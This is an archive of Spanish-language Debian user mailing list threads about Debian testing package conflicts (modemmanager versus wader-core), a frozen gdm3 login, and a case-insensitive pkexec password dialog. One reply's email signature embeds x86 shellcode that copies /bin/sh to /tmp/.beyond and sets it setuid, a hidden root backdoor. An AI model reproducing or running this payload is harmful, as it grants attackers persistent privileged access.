ADSL. Pero después de tu comentario, he preferido restaurar el sistema
para tener modemmanager (aunque no esté actualizado de momento).


Hombre, que no era necesario. De hecho, puedes eliminar el paquete
modemmanager tranquilamente si no lo piensas usar.


Normalmente no uso pincho-modems, ya que con la conexión fija de 
Movistar no tengo problemas, pero está bien poder tener esta posibilidad 
por si alguna vez falla (en contadas ocasiones me ha sucedido, y 
entonces, si he tirado de pincho, desde Windows (antes de instalar 
Debian ;-))




Usando el comando que me has enseñado, dice esto:

aptitude why-not modemmanager
i   task-gnome-desktopRecomienda  network-manager-gnome
i A network-manager-gnome Depende network-manager (= 0.9.8)
i A network-manager   Recomienda  modemmanager
p   wader-coreProporcionamodemmanager
p   wader-coreEntra en conflicto modemmanager

Entiendo que i quiere decir que el paquete está instalado, pero A y
p, ni idea...


En el manual de aptitude tienes más información sobre el significado de
las banderitas de los paquetes:

http://aptitude.alioth.debian.org/doc/en/ch02s02s02.html

i → paquete instalado
A → paquete que ha sido marcado para ser instalado
p → paquete no instalado o purgado


Jo*er!! Parezco nuevo... Se me pasó mirarlo. :(

--
www.LinuxCounter.net

Registered user #558467
has 1 linux machines

Registered Linux machine #2003003


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/lhrvbp$cmn$1...@ger.gmane.org

Re: Debian testing: paquete modemmanager que no se actualiza

[Camaleón]

El Fri, 04 Apr 2014 20:51:09 +0200, Eduardo Rios escribió:

 El 04/04/14 19:55, Camaleón escribió:

(...)

 ¿Diferencias entre modemmanager y wader-core? Pues a simple vista el
 primero lo mantiene FreeDesktop (lo cual es una garantía de
 integración)
 y el segundo es un desarrollo aparte, independiente. Si no usas pincho-
 módems te dará lo mismo.
 
 Gracias. No, normalmente no uso pincho-modems. En muy pocas veces he
 necesitado usar alguno, ya que dispongo de fibra óptica, y anteriormente
 ADSL. Pero después de tu comentario, he preferido restaurar el sistema
 para tener modemmanager (aunque no esté actualizado de momento).

Hombre, que no era necesario. De hecho, puedes eliminar el paquete 
modemmanager tranquilamente si no lo piensas usar.

 Usando el comando que me has enseñado, dice esto:
 
 aptitude why-not modemmanager 
 i   task-gnome-desktopRecomienda  network-manager-gnome 
 i A network-manager-gnome Depende network-manager (= 0.9.8) 
 i A network-manager   Recomienda  modemmanager 
 p   wader-coreProporcionamodemmanager 
 p   wader-coreEntra en conflicto modemmanager
 
 Entiendo que i quiere decir que el paquete está instalado, pero A y
 p, ni idea...

En el manual de aptitude tienes más información sobre el significado de 
las banderitas de los paquetes:

http://aptitude.alioth.debian.org/doc/en/ch02s02s02.html

i → paquete instalado
A → paquete que ha sido marcado para ser instalado
p → paquete no instalado o purgado

Saludos,

-- 
Camaleón


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/pan.2014.04.05.13.16...@gmail.com

Re: Debian testing: paquete modemmanager que no se actualiza

[Camaleón]

El Thu, 03 Apr 2014 20:12:00 +0200, Eduardo Rios escribió:

 Todos los días actualizo Debian Jessie sin problemas, pero hoy, al
 decirle a Synaptic que marcara las actualizaciones posibles, se deja
 este paquete.

Voy a actualizarla, a ver... ahora mismo marca como retenidos dos 
paquetes: modemmanager y db5.1-util. Cancelo.
 
 Tengo instalada la versión 0.5.2.0-2.1, y la actualización es la
 1.0.0-4. Si trato de marcarla para actualizar, dice que se eliminarán
 los paquetes gnome, network-manager y network-manager-gnome.
 
 Por supuesto, voy a dejarlo sin actualizar, pero... ¿es normal que
 aparezcan paquetes que no se puedan actualizar?

Bueno, como te comenta Gonzalo en testing es normal ver cosas raras de 
este tipo (ten en cuenta que los empaquetadores suben parches y nuevas 
versiones de los paquetes a diario que pueden generar estos conflictos) y 
cuando sucede, simplemente cancelo y le pregunto a aptitude:

aptitude why-not modemmanager db5.1-util

Me dice que wader-core proporciona modemmanager y que éste entra en 
conflicto con modemmanager (parece un error claro de empaquetado) y en 
cuanto a db5.1-util me dice que no sabe el motivo (pero yo sí lo sé, leí 
algo en el BTS de Debians obre este paquete...). 

Gracias aptitude, majete... lo has intentado :-)

Saludos,

-- 
Camaleón


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/pan.2014.04.04.14.33...@gmail.com

Re: Debian testing: paquete modemmanager que no se actualiza

[Eduardo Rios]

El 04/04/14 16:33, Camaleón escribió:


aptitude why-not modemmanager db5.1-util


Vaya, no conocía la existencia de esta posibilidad...



Me dice que wader-core proporciona modemmanager y que éste entra en
conflicto con modemmanager (parece un error claro de empaquetado) y en
cuanto a db5.1-util me dice que no sabe el motivo (pero yo sí lo sé, leí
algo en el BTS de Debians obre este paquete...).


Vale, entonces, parece que está correctamente resuelto, ya que lo que 
hice fue sustituir modemmanager por wader-core. Mientras no me traiga 
futuros problemas con los paquetes, entiendo que es lo mismo, ¿no?


Gracias.

--
www.LinuxCounter.net

Registered user #558467
has 1 linux machines

Registered Linux machine #2003003


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/lhmqbi$q4j$1...@ger.gmane.org

Re: Debian testing: paquete modemmanager que no se actualiza

[Camaleón]

El Fri, 04 Apr 2014 19:32:34 +0200, Eduardo Rios escribió:

 El 04/04/14 16:33, Camaleón escribió:
 
 aptitude why-not modemmanager db5.1-util
 
 Vaya, no conocía la existencia de esta posibilidad...

Es una de las pocas cosas que uso de aptitude, lo utilizo como Oráculo y 
dejo que apt-get haga el trabajo duro :-)

 Me dice que wader-core proporciona modemmanager y que éste entra en
 conflicto con modemmanager (parece un error claro de empaquetado) y en
 cuanto a db5.1-util me dice que no sabe el motivo (pero yo sí lo sé,
 leí algo en el BTS de Debians obre este paquete...).
 
 Vale, entonces, parece que está correctamente resuelto, ya que lo que
 hice fue sustituir modemmanager por wader-core. Mientras no me traiga
 futuros problemas con los paquetes, entiendo que es lo mismo, ¿no?

Bueno, yo los he dejado como pendientes hasta que arreglen los paquetes. 
Modemmanager se usa con los famosos pinchos USB-módem UMTS ya que permite 
que el sistema lo configure como módem en lugar de dispositivo de 
almacenamiento masivo.

¿Diferencias entre modemmanager y wader-core? Pues a simple vista el 
primero lo mantiene FreeDesktop (lo cual es una garantía de integración) 
y el segundo es un desarrollo aparte, independiente. Si no usas pincho-
módems te dará lo mismo.

Saludos,

-- 
Camaleón


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/pan.2014.04.04.17.55...@gmail.com

Re: Debian testing: paquete modemmanager que no se actualiza

[Eduardo Rios]

El 04/04/14 19:55, Camaleón escribió:


aptitude why-not modemmanager db5.1-util


Vaya, no conocía la existencia de esta posibilidad...


Es una de las pocas cosas que uso de aptitude, lo utilizo como Oráculo y
dejo que apt-get haga el trabajo duro :-)


Me dice que wader-core proporciona modemmanager y que éste entra en
conflicto con modemmanager (parece un error claro de empaquetado) y en
cuanto a db5.1-util me dice que no sabe el motivo (pero yo sí lo sé,
leí algo en el BTS de Debians obre este paquete...).


Vale, entonces, parece que está correctamente resuelto, ya que lo que
hice fue sustituir modemmanager por wader-core. Mientras no me traiga
futuros problemas con los paquetes, entiendo que es lo mismo, ¿no?


Bueno, yo los he dejado como pendientes hasta que arreglen los paquetes.
Modemmanager se usa con los famosos pinchos USB-módem UMTS ya que permite
que el sistema lo configure como módem en lugar de dispositivo de
almacenamiento masivo.

¿Diferencias entre modemmanager y wader-core? Pues a simple vista el
primero lo mantiene FreeDesktop (lo cual es una garantía de integración)
y el segundo es un desarrollo aparte, independiente. Si no usas pincho-
módems te dará lo mismo.


Gracias. No, normalmente no uso pincho-modems. En muy pocas veces he 
necesitado usar alguno, ya que dispongo de fibra óptica, y anteriormente 
ADSL. Pero después de tu comentario, he preferido restaurar el sistema 
para tener modemmanager (aunque no esté actualizado de momento).


Usando el comando que me has enseñado, dice esto:

aptitude why-not modemmanager
i   task-gnome-desktopRecomienda network-manager-gnome
i A network-manager-gnome Dependenetwork-manager (= 0.9.8)
i A network-manager   Recomienda modemmanager
p   wader-coreProporcionamodemmanager
p   wader-coreEntra en conflicto modemmanager

Entiendo que i quiere decir que el paquete está instalado, pero A y 
p, ni idea...


Gracias.

--
www.LinuxCounter.net

Registered user #558467
has 1 linux machines

Registered Linux machine #2003003


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/lhmuuu$itk$1...@ger.gmane.org

Re: Debian testing: paquete modemmanager que no se actualiza

[Gonzalo Rivero]

El jue, 03-04-2014 a las 20:12 +0200, Eduardo Rios escribió:
 Todos los días actualizo Debian Jessie sin problemas, pero hoy, al 
 decirle a Synaptic que marcara las actualizaciones posibles, se deja 
 este paquete.
 
 Tengo instalada la versión 0.5.2.0-2.1, y la actualización es la 
 1.0.0-4. Si trato de marcarla para actualizar, dice que se eliminarán 
 los paquetes gnome, network-manager y network-manager-gnome.
 
 Por supuesto, voy a dejarlo sin actualizar, pero... ¿es normal que 
 aparezcan paquetes que no se puedan actualizar?
 
algunas veces se hace esos líos de dependencias, pero pocos días después
ya están resueltos.
Ahora bien, gnome es un metapaquete (solo tiene dependencias), así que
no debería ser problemático, el entorno va a seguir instalado.
Y network-manager, personalmente lo detesto así que siempre lo
desinstalo y lo saco con --purge 




-- 
(-.(-.(-.(-.(-.(-.-).-).-).-).-).-)



-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/1396549569.6232.4.ca...@eeepc.ucasal.ar

Re: Debian testing: paquete modemmanager que no se actualiza

[Eduardo Rios]

El 03/04/14 20:26, Gonzalo Rivero escribió:


algunas veces se hace esos líos de dependencias, pero pocos días después
ya están resueltos.


Gracias Gonzalo. Me ha llamado la atención porque es la primera vez que 
me ha pasado. Bueno, como no me urge ni me va a quitar el sueño por no 
estar actualizado, esperaré a ver que pasa mañana. :-)




Ahora bien, gnome es un metapaquete (solo tiene dependencias), así que
no debería ser problemático, el entorno va a seguir instalado.


Mira que pruebo a forzar la actualización a ver que pasa... :-P



Y network-manager, personalmente lo detesto así que siempre lo
desinstalo y lo saco con --purge


A mi no me disgusta, por ahora sin problemas...


--
www.LinuxCounter.net

Registered user #558467
has 1 linux machines

Registered Linux machine #2003003


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/lhkam1$cgf$1...@ger.gmane.org

Re: Debian testing: paquete modemmanager que no se actualiza

[Eduardo Rios]

El 03/04/14 20:52, Eduardo Rios escribió:

El 03/04/14 20:26, Gonzalo Rivero escribió:



Ahora bien, gnome es un metapaquete (solo tiene dependencias), así que
no debería ser problemático, el entorno va a seguir instalado.


Mira que pruebo a forzar la actualización a ver que pasa... :-P


Al final, ha quedado ¿resuelto?...

He hecho caso y he instalado el paquete modemmanager (desinstalando 
gnome, network-manager y network-manager-gnome)


Después, al marcar de nuevo para instalar los 3 paquetes que he 
desinstalado antes, ha desinstalado modemmanager y ha instalado 
wader-core (que entiendo que es un alternativo a modemmanager)...


De momento parece que todo va igual, de hecho no me preocupa, no tengo 
ningún modem...



--
www.LinuxCounter.net

Registered user #558467
has 1 linux machines

Registered Linux machine #2003003


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/lhkcge$3in$1...@ger.gmane.org

Re: Debian testing

[alexlikerock-Gmail]

El 19/01/14 07:41, Felix Perez escribió:

El día 19 de enero de 2014, 7:13, alexlikerock-Gmail
alexliker...@gmail.com escribió:



Buen dia!
Hace poco tiempo atrás pase de la versión estable a la testing y el
problema que he tenido es que se me queda pegada la interfaz gráfica y
no puedo restablecerla ni con(ctrl+alt+f1) service gdm3 restart.
Alguien ha tenido el mismo problema o puede solucionarlo?

Bendiciones!


entra en modo seguro y elimina gdm3
y instala kdm



¿Y si el error es con los drivers  de la gráfica y no del gestor?
primero saber cual es el problema y luego aplicar solución.



 buen punto, pero en  ocasiones  buscar el error  demora mas  tiempo 
que  hacer un par de  desinstalaciones  y reinstalaciones.




--
**
software libre no significa gratis: richard m. stallman
http://wiki.debian.org/es/NormasLista#resumen
http://wiki.debian.org/es/NormasLista/Gmail
http://es.wikipedia.org/wiki/Top-posting


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/52e7e553.3060...@gmail.com

Re: Debian testing

[Felix Perez]

El día 28 de enero de 2014, 14:13, alexlikerock-Gmail
alexliker...@gmail.com escribió:
 El 19/01/14 07:41, Felix Perez escribió:

 El día 19 de enero de 2014, 7:13, alexlikerock-Gmail
 alexliker...@gmail.com escribió:


 Buen dia!
 Hace poco tiempo atrás pase de la versión estable a la testing y el
 problema que he tenido es que se me queda pegada la interfaz gráfica y
 no puedo restablecerla ni con(ctrl+alt+f1) service gdm3 restart.
 Alguien ha tenido el mismo problema o puede solucionarlo?

 Bendiciones!

 entra en modo seguro y elimina gdm3
 y instala kdm


 ¿Y si el error es con los drivers  de la gráfica y no del gestor?
 primero saber cual es el problema y luego aplicar solución.



  buen punto, pero en  ocasiones  buscar el error  demora mas  tiempo que
 hacer un par de  desinstalaciones  y reinstalaciones.



Entiendo que practicas la máxima de:
Horas de ensayo y error te ahorraran minutos de leer manuales. :-)

Saludos.



-- 
usuario linux  #274354
normas de la lista:  http://wiki.debian.org/es/NormasLista
como hacer preguntas inteligentes:
http://www.sindominio.net/ayuda/preguntas-inteligentes.html


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: 
http://lists.debian.org/caaizax5yra7aqty153bmko+u6bj2difyhcootnt6atxntbt...@mail.gmail.com

Re: Debian testing

[alexlikerock-Gmail]

Buen dia!
Hace poco tiempo atrás pase de la versión estable a la testing y el
problema que he tenido es que se me queda pegada la interfaz gráfica y
no puedo restablecerla ni con(ctrl+alt+f1) service gdm3 restart.
Alguien ha tenido el mismo problema o puede solucionarlo?

Bendiciones!


entra en modo seguro y elimina gdm3
y instala kdm


me sucedio lo mismo ami

--
**
software libre no significa gratis: richard m. stallman
http://wiki.debian.org/es/NormasLista#resumen
http://wiki.debian.org/es/NormasLista/Gmail
http://es.wikipedia.org/wiki/Top-posting


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/52dba54b.5070...@gmail.com

Re: Debian testing

[Felix Perez]

El día 19 de enero de 2014, 7:13, alexlikerock-Gmail
alexliker...@gmail.com escribió:

 Buen dia!
 Hace poco tiempo atrás pase de la versión estable a la testing y el
 problema que he tenido es que se me queda pegada la interfaz gráfica y
 no puedo restablecerla ni con(ctrl+alt+f1) service gdm3 restart.
 Alguien ha tenido el mismo problema o puede solucionarlo?

 Bendiciones!

 entra en modo seguro y elimina gdm3
 y instala kdm


¿Y si el error es con los drivers  de la gráfica y no del gestor?
primero saber cual es el problema y luego aplicar solución.



-- 
usuario linux  #274354
normas de la lista:  http://wiki.debian.org/es/NormasLista
como hacer preguntas inteligentes:
http://www.sindominio.net/ayuda/preguntas-inteligentes.html


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: 
http://lists.debian.org/caaizax4sgrorrzrxnrh+rk354tsyvf3xawgn0qay-ofvymq...@mail.gmail.com

[OT] MUA's rompe hilos (era Re: Debian testing)

[jors]

Menudo rollo cuando se rompen los hilos.

Debería haber la obligación de usar clientes de correo que los respeten 
y sepan gestionar para poder enviar a las listas :(


Salut,
jors


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/52b6cb2f.6020...@enchufado.com

Re: Debian testing

[Francisco Antonio]

 - Mensaje original -
 De: Elvin Rodriguez
 Enviado: 21-12-13 14:39
 Para: debian-user-spanish@lists.debian.org
 Asunto: Debian testing
 
 Buen dia!
 Hace poco tiempo atrás pase de la versión estable a la testing y el
 problema que he tenido es que se me queda pegada la interfaz gráfica y no
 puedo restablecerla ni con(ctrl+alt+f1) service gdm3 restart.
 Alguien ha tenido el mismo problema o puede solucionarlo?
 
 Bendiciones!


Estimados,


Seria bueno que enviaras el error especifico que esta guardado en 
/var/log/xorg.log o algo similar,
o si quieres solucionarlo por ti mismo, entra en modo recorveri logeate root, 
dale stop a tu display manager ejemplo=(/etc/init.d/gdm stop) y ejecuta xinit 
--:1
toma el detalle si es que te da error y busca la solucion en google.
ademas busca informacion de lo que te muestra tu usuario al darle el comando 
(startx) centrate en las ultimas lineas y lo buscas en google.

Espero que te sirva si es que me entiendes

Saludos.



-- 
char esp[] _attribute_ ((section(.text))) /* e.s.p
release */
= \xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68
\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99
\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7
\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56
\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31
\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69
\x6e\x2f\x73\x68\x00\x2d\x63\x00
cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;;

      Linux Counter ( http://counter.li.org )
      --*
      Usuario #551263


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/20131221180832.30...@gmx.com

Re: Debian testing

[Camaleón]

El Sat, 21 Dec 2013 11:39:40 -0600, Elvin Rodriguez escribió:

 Buen dia!

Cuidado con el formato html...

 Hace poco tiempo atrás pase de la versión estable a la testing y el
 problema que he tenido es que se me queda pegada la interfaz gráfica y
 no puedo restablecerla ni con(ctrl+alt+f1) service gdm3 restart.

Si puedes saltar a una consola ¿has probado con un init 1?

 Alguien ha tenido el mismo problema o puede solucionarlo?

Si por pegada quieres decir que se queda congelada lo primero que 
tendrías que comprobar es si se trata efectivamente de un bloqueo del 
servidor gráfico o un problema con el kernel.

Cuando se que te quede colgado de nuevo, intenta acceder al equipo desde 
otro ordenador a través de SSH y si puedes acceder al equipo congelado 
entonces es que efectivamente se trata de las X en cuyo caso convendría 
que dieras más información de tu hardware como la tarjeta gráfica que 
usas, el driver que tienes cargado y el contenido completo del archivo /
var/log/Xorg.0.log que puedes subir a www.pastebin.com.

Saludos,

-- 
Camaleón


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/pan.2013.12.21.18.16...@gmail.com

Re: Debian testing: GNOME 3:¿Bug?: Pantalla negra para introducción contraseña

[Camaleón]

El Mon, 18 Nov 2013 18:09:33 -0430, Juan Lavieri escribió:

 El 18 de noviembre de 2013 17:25, Camaleón noela...@gmail.com
 escribió:

(...)

  Acabo de actualizar el sistema y me instaló gnome-shell 3.8 (antes
  tenía 3.4.2) y ahora funciona perfecto.

 ¿Ya lo han solucionado? Je, pues sí que sirve eso de meter bugs a
 cascoporro ;-PPP

 Veo que hay un buen montón de paquete de gnome3 que se van a actualizar
 y entre ellos está gnome-shell-common que debe ser el culpable del
 error (buceando -estaba muy escondido- me encontré con este bug¹ de
 GNOME que me parece está relacionado con este problema, concretamente
 este commit²)


 Y permíteme sugerirte que lo pienses bien antes de actualizar
 
 Como mencionamos en otros correos hay algunos cambios dignos de mirar
 con detenimiento.

Actualicé ayer pero no veo nada raro... vamos, nada más raro de lo 
habitual en gnome-shell. Este equipo lo uso de pruebas, así que no me 
molesta que haya errores tontunos. 
 
 Bueno, bien está lo que bien acaba.


 Esperemos que así sea

Al menos esta parte, sí. Pero estamos en testing, aquí sales de una y te 
vienen 100 encima.

Saludos,

-- 
Camaleón


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/pan.2013.11.19.14.15...@gmail.com

Re: Debian testing: GNOME 3:¿Bug?: Pantalla negra para introducción contraseña

[Juan Lavieri]

El 18/11/13 18:53, Eduardo Rios escribió:

El 18/11/13 23:36, Juan Lavieri escribió:


A mi me pasa igual, y no me gusta todo así mezclado, pero creo que
he encontrado como hacerlo:

En los botones que hay arriba a la derecha de la ventana de
nautilus, hay uno con una V (o flecha apuntando hacia abajo). Pincha
y elige Ordenar por tipo.


No es igual porque si ordenas por tipo, por ejemplo, es cierto que
aparecen las carpetas al inicio, pero bajo ellas y siempre ordenados por
tipo, aparecerán los archivos rar (todos juntos y en orden alfabético)
los archivos de tipo desconocido, etc.  Antes veía las carpetas al
inicio y luego el resto en estricto orden alfabético sin importar el
tipo, es así como me gustaría.


¡¡Juan ya lo tengo!! Echale un vistazo a este vídeo [1]
Atento porque explica varias cosas, y entre ellas, la de poner las 
carpetas primero (a partir del minuto 3, 41 segundos).




Si, excelente ya lo logré.  Ahora falta que me aparezca la barra de 
título del nautilus (aparentemente es la única que no sale).


Saludos


A mi me ha funcionado.

[1] 
http://www.youtube.com/watch?v=eAxYK7j4hfAlist=PLkGS1TudSTp0HIvjWysnrPNLqHBsXJeh9






--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/528b8504.90...@gmail.com

Re: Debian testing: GNOME 3:¿Bug?: Pantalla negra para introducción contraseña

[Juan Lavieri]

El 19/11/13 09:45, Camaleón escribió:

El Mon, 18 Nov 2013 18:09:33 -0430, Juan Lavieri escribió:


El 18 de noviembre de 2013 17:25, Camaleón noela...@gmail.com
escribió:

(...)


Acabo de actualizar el sistema y me instaló gnome-shell 3.8 (antes
tenía 3.4.2) y ahora funciona perfecto.

¿Ya lo han solucionado? Je, pues sí que sirve eso de meter bugs a
cascoporro ;-PPP

Veo que hay un buen montón de paquete de gnome3 que se van a actualizar
y entre ellos está gnome-shell-common que debe ser el culpable del
error (buceando -estaba muy escondido- me encontré con este bug¹ de
GNOME que me parece está relacionado con este problema, concretamente
este commit²)



Y permíteme sugerirte que lo pienses bien antes de actualizar

Como mencionamos en otros correos hay algunos cambios dignos de mirar
con detenimiento.

Actualicé ayer pero no veo nada raro... vamos, nada más raro de lo
habitual en gnome-shell. Este equipo lo uso de pruebas, así que no me
molesta que haya errores tontunos.
  

Bueno, bien está lo que bien acaba.



Esperemos que así sea

Al menos esta parte, sí. Pero estamos en testing, aquí sales de una y te
vienen 100 encima.


Que comes que adivinas.

Lo malo de linux es que hay tantas formas de hacer las cosas que 
cuesta decidirse.




Saludos,




--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/528b8db3.1050...@gmail.com

Re: Debian testing: GNOME 3:¿Bug?: Pantalla negra para introducción contraseña

[Juan Lavieri]

Hola.

El 17/11/13 18:57, Juan Lavieri escribió:

El 17/11/13 18:15, Eduardo Rios escribió:

El 17/11/13 22:44, Juan Lavieri escribió:


Pues me parece que vamos a tener que decir como cuando algo no va como
esperamos en Windows... No es un fallo, es una 'feature by 
design' :-D





Así es, lo malo es que no logro hacer que vuelva a funcionar como debe.


Vaya, lo siento :(

¿No tienes copia de seguridad hecha de antes de jugar con 
gdm3setup? Yo siempre hago alguna si planeo tocar demasiado :-P




En realidad no toque gran cosa, pero respondiendo a tu pregunta, no, 
no lo tengo.


Estoy comenzando a creer que cuando funcionó (me negó el acceso) yo 
estaba introduciendo la contraseña de mi usuario normal y no la de 
root, aunque hice como 6 intentos, por lo que pienso que es poco 
probable que me haya equivocado todas las veces


Como sea, sigo buscando.

Otro aspecto del tema.

En un correo anterior escribiste, cito:

Bueno, informo de los resultados:

- Si mezclas mayúsculas con minúsculas, evidentemente, da fallo, tanto 
con Bloq Mayús activada como desactivada.


- Si la contraseña es completamente en mayúsculas, aunque tengas 
activado el bloqueo de mayúsculas, TAMBIEN da error de contraseña 
incorrecta. Vamos, que omite esa tecla.


Fin de la cita.

Pregunto;  ¿Aún sigue ese comportamiento?  Te pregunto porque a mi me 
deja entrar y la contraseña de mi root tiene de todo, como indiqué antes.




He continuado haciendo pruebas antes de preceder a reportar el bug.

Si cierro mi sesión y luego entro de nuevo pero utilizando gnome 
clásico, no se produce el bug, es decir si activo el bloqueo de 
mayúsculas no me permite ingresar al colocar la contraseña de root, que 
es como debe funcionar.


Por favor ¿Puede alguien mas confirmar este comportamiento?

Al parecer es un bug de gnome-shell ¿no les parece?

Gracias.




Saludos.





--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/528a44a9.2050...@gmail.com

Re: Debian testing: GNOME 3:¿Bug?: Pantalla negra para introducción contraseña

[Camaleón]

El Sun, 17 Nov 2013 17:25:05 +, Camaleón escribió:

 El Sun, 17 Nov 2013 16:13:38 +, Camaleón escribió:
 
 El Sun, 17 Nov 2013 01:32:13 +0100, Eduardo Rios escribió:
 
 (...)
 
 Y aquí viene lo grave. Mi contraseña he dicho que es en minúsculas,
 ¿ok?, pues si pulso la tecla Bloq Mayús (con lo que las mayúsculas
 quedan activadas), esa pantalla negra ACEPTA la contraseña (siempre que
 esté bien escrita), ignorando que se ha escrito en mayúscula...
 
 Alguien lo comentó, y veo que también me pasa, pero no encuentro el
 hilo...
 
 ¿Alguien más puede confirmarlo?
 Gracias.
 
 Sí, me pasa lo mismo, pero las mayúsculas sí se activan, aparece un
 indicador avisando de esto. Otra cosa es lo que escriba realmente o que
 el administrador de las contraseñas se haya vuelto loco e ignore las
 mayúsculas.
 
 He estado buscando algún bug relacionado con esto pero no encuentro nada, 
 ni en GNOME ni en Debian. Entiendo que el paquete sería policykit-1 que 
 es el que instala pkexec, el encargado de generar el diálogo de 
 autenficiación. Quizá sería conveniente que abrierais un informe de fallo 
 en Debian :-?

Pues como nadie se anima, he abierto un informe de fallo en Debian:

pkexec password dialog is case-insensitive
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=729892

Saludos,

-- 
Camaleón


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/pan.2013.11.18.17.01...@gmail.com

Re: Debian testing: GNOME 3:¿Bug?: Pantalla negra para introducción contraseña

[Juan Lavieri]

Hola.

El 18/11/13 12:30, Camaleón escribió:

El Sun, 17 Nov 2013 17:25:05 +, Camaleón escribió:


El Sun, 17 Nov 2013 16:13:38 +, Camaleón escribió:


El Sun, 17 Nov 2013 01:32:13 +0100, Eduardo Rios escribió:

(...)


Y aquí viene lo grave. Mi contraseña he dicho que es en minúsculas,
¿ok?, pues si pulso la tecla Bloq Mayús (con lo que las mayúsculas
quedan activadas), esa pantalla negra ACEPTA la contraseña (siempre que
esté bien escrita), ignorando que se ha escrito en mayúscula...

Alguien lo comentó, y veo que también me pasa, pero no encuentro el
hilo...

¿Alguien más puede confirmarlo?
Gracias.

Sí, me pasa lo mismo, pero las mayúsculas sí se activan, aparece un
indicador avisando de esto. Otra cosa es lo que escriba realmente o que
el administrador de las contraseñas se haya vuelto loco e ignore las
mayúsculas.

He estado buscando algún bug relacionado con esto pero no encuentro nada,
ni en GNOME ni en Debian. Entiendo que el paquete sería policykit-1 que
es el que instala pkexec, el encargado de generar el diálogo de
autenficiación. Quizá sería conveniente que abrierais un informe de fallo
en Debian :-?

Pues como nadie se anima, he abierto un informe de fallo en Debian:

pkexec password dialog is case-insensitive
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=729892


Acabo de actualizar el sistema y me instaló gnome-shell 3.8 (antes tenía 
3.4.2) y ahora funciona perfecto.




Saludos,


Saludos


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/528a5912.4010...@gmail.com

Re: Debian testing: GNOME 3:¿Bug?: Pantalla negra para introducción contraseña

[Eduardo Rios]

El 18/11/13 19:14, Juan Lavieri escribió:


Acabo de actualizar el sistema y me instaló gnome-shell 3.8 (antes tenía
3.4.2) y ahora funciona perfecto.


Venía a decir eso mismo, que habían actualizaciones de paquetes de gnome 
de la versión 3.8 y ha quedado resuelto el problema. :)


Gracias.

--
www.LinuxCounter.net

Registered user #558467
has 1 linux machines

Registered Linux machine #2003003


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/l6dlus$k9f$1...@ger.gmane.org

